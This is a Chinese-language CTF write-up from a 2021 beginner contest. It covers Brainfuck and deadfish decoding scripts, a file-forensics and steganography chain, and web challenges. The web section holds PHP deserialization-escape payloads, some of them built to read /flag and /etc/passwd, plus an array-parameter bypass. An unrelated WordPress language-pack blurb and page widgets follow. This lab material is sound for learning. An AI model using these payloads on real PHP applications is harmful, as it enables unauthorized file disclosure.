很明显是Brainfuck,但是重复字符被编码了,写个脚本还原:

s = '8+[->8+<]>16+.5-.<8+[->8-<]>8-.+.<4+[->4+<]>.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-3.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10+<]>5+.<11+[->11-<]>17-.<5+[->5-<]>9-.<5+[->5-<]>10-.<3+[->3-<]>5-.<5+[->5+<]>8+.<5+[->5-<]>.<15+[->15+<]>18+.<7+[->7-<]>.<11+[->11-<]>20-.<12+[->12+<]>19+.<8+[->8-<]>2-.<8+[->8+<]>7+.<5+[->5-<]>10-.<6+[->6+<]>6+.<4+[->4+<]>3+.<15+[->15-<]>11-.8+.<10+[->10+<]>12+.<11+[->11-<]>2-.3+.<8+[->8+<]>10+.<10+[->10+<]>19+.<13+[->13-<]>19-.<12+[->12+<]>13+.<11+[->11-<]>10-.<3+[->3+<]>5+.<10+[->10+<]>17+.<10+[->10-<]>-.<8+[->8-<]>10-.<7+[->7+<]>14+.<5+[->5-<]>8-.<13+[->13+<]>21+.<14+[->14-<]>6-.<15+[->15+<]>5+.<10+[->10-<]>11-.3-.<10+[->10-<]>2-.<9+[->9+<]>17+.<10+[->10-<]>20-.<6+[->6+<]>8+.<12+[->12+<]>+.<12+[->12-<]>21-.<6+[->6+<]>3+.<8+[->8+<]>13+.<4+[->4+<]>3+.<8+[->8-<]>7-.<11+[->11+<]>10+.<12+[->12-<]>10-.<11+[->11+<]>8+.<8+[->8-<]>10-.<3+[->3-<]>4-.<10+[->10-<]>19-.<12+[->12+<]>13+.<12+[->12-<]>13-.<4+[->4+<]>5+.<4+[->4+<]>6+.<8+[->8+<]>5+.<7+[->7-<]>9-.<7+[->7-<]>.<11+[->11+<]>18+.<4+[->4-<]>7-.<8+[->8+<]>15+.<10+[->10-<]>.<8+[->8-<]>10-.<9+[->9+<]>6+.<10+[->10-<]>16-.<12+[->12+<]>4+.<3+[->3+<]>3+.<11+[->11-<]>14-.<9+[->9+<]>7+.<3+[->3-<]>5-.<10+[->10+<]>19+.<5+[->5+<]>+.6+.<15+[->15-<]>11-.<9+[->9+<]>9+.<10+[->10+<]>13+.<13+[->13-<]>3-.<8+[->8+<]>.<4+[->4-<]>3-.<5+[->5+<]>9+.<8+[->8+<]>2+.<10+[->10-<]>10-.<6+[->6+<]>9+.<4+[->4-<]>2-.<8+[->8-<]>12-.<5+[->5-<]>6-.<8+[->8+<]>15+.5-.<8+[->8-<]>10-.+.<7+[->7+<]>12+.<7+[->7-<]>14-.<4+[->4+<]>4+.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-.<6+[->6+<]>.<6+[->6-<]>7.<5+[->5+<]>7+.<5+[->5-<]>7-7.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10-<]>6-.<3+[->3-<]>-.<5+[->5+<]>7+.<5+[->5-<]>7-5.+.-.<4+[->4+<]>8+.<4+[->4-<]>8-.<11+[->11+<]>15+.<7+[->7+<]>7+.<4+[->4+<]>8+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<8+[->8+<]>15+.5-.<8+[->8-<]>6-.+.6-4.+.-.+.-.<9+[->9+<]>11+.<9+[->9-<]>11-3.<11+[->11+<]>7+.<11+[->11-<]>7-5.<'
tmp, result = '', ''

for i in s:
    if i in '0123456789':
        tmp += i
    elif i in '+-[]<>.,':
        if tmp == '':
            result += i
        else:
            result += int(tmp) * i
            tmp = ''
with open('C:/Users/Administrator/Desktop/包/bf.txt', 'w') as f:
    f.write(result)

随便找个解释器跑一跑,得到一个zip压缩包。解压得到又一个文本:

iiisisiiiiiiiiii, iiisisi, iiisiisdd, iiisiisdddddd, iiisisd, iiisiisddddd, iiisisii, iiisiisii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iiisiisiiii

写个脚本跑一跑:

s = 'iiisisiiiiiiiiii, iiisisi, iiisiisdd, iiisiisdddddd, iiisisd, iiisiisddddd, iiisisii, iiisiisii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissdsddddddddddd, iissddsddddddd, iissdddsiiiiiii, iissdsiiiiiiiiiiiiiiiiiiiiiiiiiii, iissddsdddddddd, iissdddsddd, iiisiisiiii'
s = s.split(', ')

def df(s):
    res = 0
    if len(s) == 0:
        return res
    else:
        for i in s:
            if i == 'i':
                res += 1
            elif i == 'd':
                res -= 1
            elif i == 's':
                res = res * res
        return res

out = b''
for i in s:
    out += df(i).to_bytes(1, 'big')
print(out.decode('gbk'))

结果就出来了:

newsctf{鸡包包鸡包包鸡包纸包纸包鸡包包鸡纸包鸡包纸包鸡}

8.2021.6.1萌新赛-🍞🧀🍞

出题人:mumuzi

Misc-Checkin! format:flag{}

首先,zip被加了密,下面留了一段密文,根据hint说明这是一种编码。

一般都是UTF-8,而缺1就是UTF-7

http://toolswebtop.com/text/process/decode/UTF-7

“祝好运”即为密码

解压得到一个MP4,但是打不开,查看16进制

根据mp4的文件头,为00 00 00开头,而这里全部被改成了63,并且其他字节也有异常,猜测与63进行了异或。

懒得写脚本了,这里用010的异或功能

然后打开视频,发现打开失败。

重新用010加载

首先,左侧红框对应的是右边的size24,现在这个box的长度为24,但是很明显,Brand块是4字节为一块,而后面应该还有两块,所以这里应该把左侧的18改成20,修改之后再重新用010打开

现在,结构就正常了。

发现文件尾有PK头,明显是zip,分离出来

UP主的名字

没下巴的Mr_Wang

用010查看,模板报错

发现是CRC报错,而且明显是宽度被修改过。

这里用网上的CRC爆破脚本即可

其实这里高度也被暗改过,但是并没有报错,原因是CRC也被改了。

最简单的方法就是直接把高度改的很高很高

当然更标准的方法是可以看filter(要写脚本)

这里得出的高宽是700*700

得到一个链接

https://wwa.lanzoui.com/icG0Tpdygfi

下载下来

大骂一声:c!

拉到最下面,有一段密文,根据积累和特征,判断是malbolge

https://zb3.me/malbolge-tools

We-c0m-b1ne

解压,用010查看

可以看到,后面还有数据

注意看末尾的特征

明显是OurSecert

后面的K(key)Arknights即明日方舟

根据这题目,和heart for who

能够得出“为斯卡蒂献上心脏”,根据百度

即秘钥为Skadi

但是直接用这个软件打开,发现没有data,为什么呢。

因为文件尾的特征识别块被K:Arknights…………给干扰了,并未被识别,所以删掉

用stegsolve查看原图,发现有LSB隐写痕迹,而分离出来的图片也有LSB隐写痕迹

根据“我们联合”,猜测要将两张图LSB部分叠加起来

这里使用stegsolve的功能,AND后保存

查看保存的图

flag{Give_heart_to_Skadi!!!}

Web

Web有一道题因为选手间会相互影响故下架,这里就不放下架web题目的wp了

1.2021.6.1萌新赛-easy_web

出题人:Jerome

payload:

webp=123456&a[]=1&b[]=2&c=9223372036854775806

得到压缩包密码

背景图用binwalk或foremost分解得到加密压缩包

得到flag

2.2021.6.1萌新赛-weblog

出题人:lastsward

考点:php反序列化逃逸

:<8:绕过正则匹配:

$r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);

剩下正常逃逸,exp:

<?php 
class A {
   
    public $file = 'flagflagflagflagflagflag<';
    public $weblogfile = ';s:10:"weblogfile";s:<8:"flflagag.php";}';
    }
echo serialize(new A);

非预期:

首先调用is_serialized检测序列化字符串是否合法,然后将A、B两个类替换为C、D两个无害的类,反序列化检测是否成功,然后进行一个正则替换,最后进行字符串的替换,将’flag’替换为空。这里的字符串替换会导致反序列化字符逃逸,吞掉双引号及后面的字符,简单构造一下就能修改weblogfile属性的值。构造之前还要绕过is_serialized函数,该函数需要满足声明的字符串长度与实际的字符串长度一致,但统计实际字符串长度仅统计第一个和第二个双引号之间的长度,而linux+php的环境中文件路径可以包含双引号,所以构造类似s:13:"/flagflagflag";}a/…/fflaglag"这样的序列化字符串即可满足判断,最终weblog的值为/";}a/…/flag,读取的文件实际是/flag。

$log='O:1:"A":2:{s:4:"file";s:0:"";s:10:"weblogfile";s:13:"/flagflagflag";}a/../fflaglag";}';
$log='O:1:"A":2:{s:4:"file";s:0:"";s:10:"weblogfile";s:21:"/flagflagflagflagflag";}aaa/../etc/passwd";}';
$log='O:1:"A":2:{s:4:"file";s:0:"";s:10:"weblogfile";s:16:"flagflagflagflag";}a/../fflaglag.php";}';

weblogin

考点:代码审计

​ 反序列化字符逃逸

难度:中等

<?php
session_start();
error_reporting(0);
highlight_file(__FILE__);
class Action {
   

    public $data;
    public $username;
    public $password;
    public $datafile;
    public $act;
    
    function __construct($username,$password,$datafile,$act){
   
        $this->username = $username;
        $this->password = $password;
        $this->datafile = $datafile;
        $this->act = $act;
    }
    function check_login(){
   
        $file = $this->datafile.'.data';
        $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data;
        if (isset($data[$this->username])){
   
            if ($data[$this->username] === $this->password){
   
                $_SESSION['is_login'] = ture;
                $_SESSION['username'] = $this->username;
                echo '<script>alert("登录成功");window.location.href="/";</script>';
            }
            else{
   
                echo '<script>alert("密码错误");window.location.href="/index.php/login";</script>';
                die();
    
  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
wordpress-5.2.2-zh_cn.tar.gz是WordPress的一个版本,这个版本是用于中文网站的。 WordPress是一个开源的内容管理系统(CMS),它提供了一个易于使用的平台,用于创建和管理个人或商业网站。WordPress的强大之处在于它的灵活性和可扩展性,使得用户能够根据自己的需求定制他们的网站。 wordpress-5.2.2-zh_cn.tar.gz是一个压缩文件,它包含了WordPress 5.2.2版本的中文语言包。此文件可以安装在你的网站上,以便将整个WordPress界面和后台管理面板都翻译成中文。这样一来,中国用户可以更轻松地理解和操作WordPress,并创建他们自己的网站。 安装这个中文语言包非常简单。首先,你需要下载wordpress-5.2.2-zh_cn.tar.gz文件,并解压缩它。然后,将解压后的文件夹上传到你的WordPress安装目录的“wp-content/languages”文件夹中。接下来,在你的WordPress后台,在“设置”-“常规”菜单中,将网站的语言设置为“中文(中国)”,保存更改。 安装完成后,你将看到WordPress的所有文本和按钮都已经被翻译成中文,包括后台管理面板、主题、插件等。你可以根据自己的需要进行自定义设置,以及使用各种插件和主题来打造一个专属于你的中文网站。 总之,wordpress-5.2.2-zh_cn.tar.gz是WordPress的一个中文语言包,可以让用户将其网站转换为中文界面,以便更好地管理和操作。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值